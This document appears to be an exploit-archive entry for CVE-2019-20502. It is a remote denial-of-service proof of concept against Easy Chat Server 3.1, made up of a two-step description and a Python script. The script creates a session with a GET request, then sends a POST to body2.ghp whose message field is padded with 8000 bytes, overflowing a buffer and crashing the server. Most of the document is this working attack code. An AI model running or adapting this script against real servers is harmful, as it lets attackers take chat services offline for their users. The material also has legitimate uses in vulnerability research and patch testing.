body2.ghp receives a variable called message, which allows a buffer to overflow to produce an application block

Description:
1- First socket with (GET) generates a valid session to then do step 2.
2- Second we send (POST) the data message in the variable to crashear the application



Video:
https://www.youtube.com/watch?v=BlOi_-OxOYc

Code:
#!/usr/bin/python #--------------------------------------------------------- # Title: Easy Chat Server Version 3.1 (Remote DOS) # Date: 2019-05-07 # Author: Miguel Mendez Z # Team: www.exploiting.cl # Vendor: http://www.echatserver.com # Software Link: http://www.echatserver.com/ecssetup.exe # Platforms: Windows # Version: 3.1 # CVE: CVE-2019-20502 # Tested on: Windows Windows 7_x86/7_x64 [eng] #--------------------------------------------------------- # # 1- Primer socket con (GET) generamos una sesion valida para luego hacer el paso 2. # 2- Segundo enviamos (POST) la data en la variable message para crashear la aplicacion. import os, sys, socket from time import sleep ip = '127.0.0.1' padding = 'A' * 8000 GET = ( "GET /chat.ghp?username=1&password=&room=1&sex=1 HTTP/1.1\r\n" "User-Agent: Mozilla/4.0\r\n" "Host: "+str(ip)+":80\r\n" "Accept-Language: en-us\r\n" "Accept-Encoding: gzip, deflate\r\n" "Referer: http://"+str(ip)+"\r\n" "Connection: Keep-Alive\r\n\r\n" ) try: print "\n [*] Ejecutando payload GET (Creando Sesion) - length " + str(len(GET)) s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((ip, 80)) s1.send(GET) s1.recv(1024) s1.close() except: print "Sin conexion GET" sleep(3) POST = ( "POST /body2.ghp?username=1&password=&room=1 HTTP/1.1\r\n" "Host: "+str(ip)+"\r\n" "User-Agent: Mozilla/4.0\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: es-CL,en-US;q=0.5\r\n" "Accept-Encoding: gzip, deflate\r\n" "Referer: http://"+str(ip)+"/chatsubmit.ghp?username=1&password=&room=1\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" "staticname=%3A000539&tnewname=&msayinfo=1&mnewname=&mtowho=All&mfilters=0&mfont=0&mfcolor=1&elist=&seltype=Theme&msg=&Submit=Send&sc=on¬ifysound=on&message="+str(padding)+"&chat_flag=" ) try: print " [*] Ejecutando payload POST (Crashing) - length " + str(len(POST)) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((ip, 80)) s2.send(POST) s2.recv(1024) s2.close() except: print "Sin conexion POST"